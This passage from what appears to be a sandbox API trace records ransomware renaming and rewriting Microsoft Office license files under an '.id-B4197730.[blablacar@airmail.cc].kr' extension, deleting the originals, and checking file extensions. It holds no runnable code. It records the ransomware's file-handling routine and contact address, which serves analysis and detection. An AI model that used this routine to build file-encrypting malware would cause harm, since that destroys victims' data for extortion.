files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 0x220 [0200.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0200.152] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.152] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0200.153] GetLastError () returned 0x0 [0200.153] ReadFile (in: hFile=0x550, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0200.155] WriteFile (in: hFile=0x568, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0200.156] ReadFile (in: hFile=0x550, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0200.156] WriteFile (in: hFile=0x568, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x10e, lpOverlapped=0x0) returned 1 [0200.156] SetEndOfFile (hFile=0x568) returned 1 [0200.157] CloseHandle (hObject=0x568) returned 1 [0200.157] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.157] SetEndOfFile (hFile=0x550) returned 1 [0200.160] CloseHandle (hObject=0x550) returned 1 [0200.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 1 [0200.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0200.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0200.162] lstrlenW (lpString=".doc") returned 4 [0200.162] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.162] lstrlenW (lpString=".docx") returned 5 [0200.162] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.162] lstrlenW (lpString=".pdf") returned 4 [0200.162] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.162] lstrlenW (lpString=".xls") returned 4 [0200.162] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.162] lstrlenW (lpString=".xlsx") returned 5 [0200.162] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.162] lstrlenW (lpString=".ppt") returned 4 [0200.162] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0200.162] lstrlenW (lpString=".zip") returned 4 [0200.162] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.162] lstrlenW (lpString=".rar") returned 4 [0200.162] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.162] lstrlenW (lpString=".bz2") returned 4 [0200.162] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.162] lstrlenW (lpString=".7z") returned 3 [0200.162] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0200.162] lstrlenW (lpString=".dbf") returned 4 [0200.162] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0200.163] lstrlenW (lpString=".1cd") returned 4 [0200.163] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0200.163] lstrlenW (lpString=".jpg") returned 4 [0200.163] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0200.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0200.163] lstrlenW (lpString=".doc") returned 4 [0200.163] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.163] lstrlenW (lpString=".docx") returned 5 [0200.163] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.163] lstrlenW (lpString=".pdf") returned 4 [0200.163] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.163] lstrlenW (lpString=".xls") returned 4 [0200.163] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.163] lstrlenW (lpString=".xlsx") returned 5 [0200.163] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.163] lstrlenW (lpString=".ppt") returned 4 [0200.163] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0200.163] lstrlenW (lpString=".zip") returned 4 [0200.163] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.163] lstrlenW (lpString=".rar") returned 4 [0200.163] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.163] lstrlenW (lpString=".bz2") returned 4 [0200.164] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.164] lstrlenW (lpString=".7z") returned 3 [0200.164] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0200.164] lstrlenW (lpString=".dbf") returned 4 [0200.164] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0200.164] lstrlenW (lpString=".1cd") returned 4 [0200.164] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0200.164] lstrlenW (lpString=".jpg") returned 4 [0200.164] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.164] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0200.164] lstrlenW (lpString="MondoR_Subscription-ppd.xrm-ms") returned 30 [0200.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0200.165] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=32361) returned 1 [0200.165] CloseHandle (hObject=0x550) returned 1 [0200.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 0x220 [0200.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0200.166] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.166] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0200.166] GetLastError () returned 0x0 [0200.166] ReadFile (in: hFile=0x550, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x7e69, lpOverlapped=0x0) returned 1 [0200.169] WriteFile (in: hFile=0x568, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x7e70, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x7e70, lpOverlapped=0x0) returned 1 [0200.171] ReadFile (in: hFile=0x550, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0200.171] WriteFile (in: hFile=0x568, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x110, lpOverlapped=0x0) returned 1 [0200.171] SetEndOfFile (hFile=0x568) returned 1 [0200.171] CloseHandle (hObject=0x568) returned 1 [0200.171] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.171] SetEndOfFile (hFile=0x550) returned 1 [0200.175] CloseHandle (hObject=0x550) returned 1 [0200.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 1 [0200.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0200.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0200.176] lstrlenW (lpString=".doc") returned 4 [0200.176] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.176] lstrlenW (lpString=".docx") returned 5 [0200.176] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.176] lstrlenW (lpString=".pdf") returned 4 [0200.176] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.176] lstrlenW (lpString=".xls") returned 4 [0200.176] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.176] lstrlenW (lpString=".xlsx") returned 5 [0200.176] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.429] lstrlenW (lpString=".ppt") returned 4 [0200.429] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0200.430] lstrlenW (lpString=".zip") returned 4 [0200.430] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.430] lstrlenW (lpString=".rar") returned 4 [0200.430] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.430] lstrlenW (lpString=".bz2") returned 4 [0200.430] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.430] lstrlenW (lpString=".7z") returned 3 [0200.430] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0200.430] lstrlenW (lpString=".dbf") returned 4 [0200.430] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0200.430] lstrlenW (lpString=".1cd") returned 4 [0200.430] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0200.430] lstrlenW (lpString=".jpg") returned 4 [0200.430] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0200.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0200.430] lstrlenW (lpString=".doc") returned 4 [0200.430] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.430] lstrlenW (lpString=".docx") returned 5 [0200.430] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.430] lstrlenW (lpString=".pdf") returned 4 [0200.430] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.430] lstrlenW (lpString=".xls") returned 4 [0200.430] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.430] lstrlenW (lpString=".xlsx") returned 5 [0200.430] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.431] lstrlenW (lpString=".ppt") returned 4 [0200.431] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0200.431] lstrlenW (lpString=".zip") returned 4 [0200.431] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.431] lstrlenW (lpString=".rar") returned 4 [0200.431] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.431] lstrlenW (lpString=".bz2") returned 4 [0200.431] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.431] lstrlenW (lpString=".7z") returned 3 [0200.431] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0200.431] lstrlenW (lpString=".dbf") returned 4 [0200.431] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0200.431] lstrlenW (lpString=".1cd") returned 4 [0200.431] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0200.431] lstrlenW (lpString=".jpg") returned 4 [0200.431] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.431] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0200.431] lstrlenW (lpString="MondoR_SubTest-ppd.xrm-ms") returned 25 [0200.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0200.656] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=26524) returned 1 [0200.656] CloseHandle (hObject=0x370) returned 1 [0200.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 0x220 [0200.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.099] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.099] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.100] GetLastError () returned 0x0 [0201.100] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x679c, lpOverlapped=0x0) returned 1 [0201.103] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x67a0, lpOverlapped=0x0) returned 1 [0201.104] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.104] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x106, lpOverlapped=0x0) returned 1 [0201.104] SetEndOfFile (hFile=0x3f8) returned 1 [0201.104] CloseHandle (hObject=0x3f8) returned 1 [0201.104] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.104] SetEndOfFile (hFile=0x560) returned 1 [0201.108] CloseHandle (hObject=0x560) returned 1 [0201.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 1 [0201.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0201.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0201.109] lstrlenW (lpString=".doc") returned 4 [0201.109] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.109] lstrlenW (lpString=".docx") returned 5 [0201.109] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.109] lstrlenW (lpString=".pdf") returned 4 [0201.109] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.109] lstrlenW (lpString=".xls") returned 4 [0201.109] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.109] lstrlenW (lpString=".xlsx") returned 5 [0201.109] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.109] lstrlenW (lpString=".ppt") returned 4 [0201.109] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0201.109] lstrlenW (lpString=".zip") returned 4 [0201.110] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.110] lstrlenW (lpString=".rar") returned 4 [0201.110] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.110] lstrlenW (lpString=".bz2") returned 4 [0201.110] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.110] lstrlenW (lpString=".7z") returned 3 [0201.110] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0201.110] lstrlenW (lpString=".dbf") returned 4 [0201.110] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0201.110] lstrlenW (lpString=".1cd") returned 4 [0201.110] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0201.110] lstrlenW (lpString=".jpg") returned 4 [0201.110] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0201.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0201.110] lstrlenW (lpString=".doc") returned 4 [0201.110] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.110] lstrlenW (lpString=".docx") returned 5 [0201.110] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.110] lstrlenW (lpString=".pdf") returned 4 [0201.110] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.110] lstrlenW (lpString=".xls") returned 4 [0201.110] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.110] lstrlenW (lpString=".xlsx") returned 5 [0201.110] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.110] lstrlenW (lpString=".ppt") returned 4 [0201.110] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0201.110] lstrlenW (lpString=".zip") returned 4 [0201.111] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.111] lstrlenW (lpString=".rar") returned 4 [0201.111] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.111] lstrlenW (lpString=".bz2") returned 4 [0201.111] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.111] lstrlenW (lpString=".7z") returned 3 [0201.111] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0201.111] lstrlenW (lpString=".dbf") returned 4 [0201.111] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0201.111] lstrlenW (lpString=".1cd") returned 4 [0201.111] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0201.111] lstrlenW (lpString=".jpg") returned 4 [0201.111] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.111] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.111] lstrlenW (lpString="MondoR_SubTrial-ppd.xrm-ms") returned 26 [0201.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.112] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=26525) returned 1 [0201.112] CloseHandle (hObject=0x560) returned 1 [0201.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft 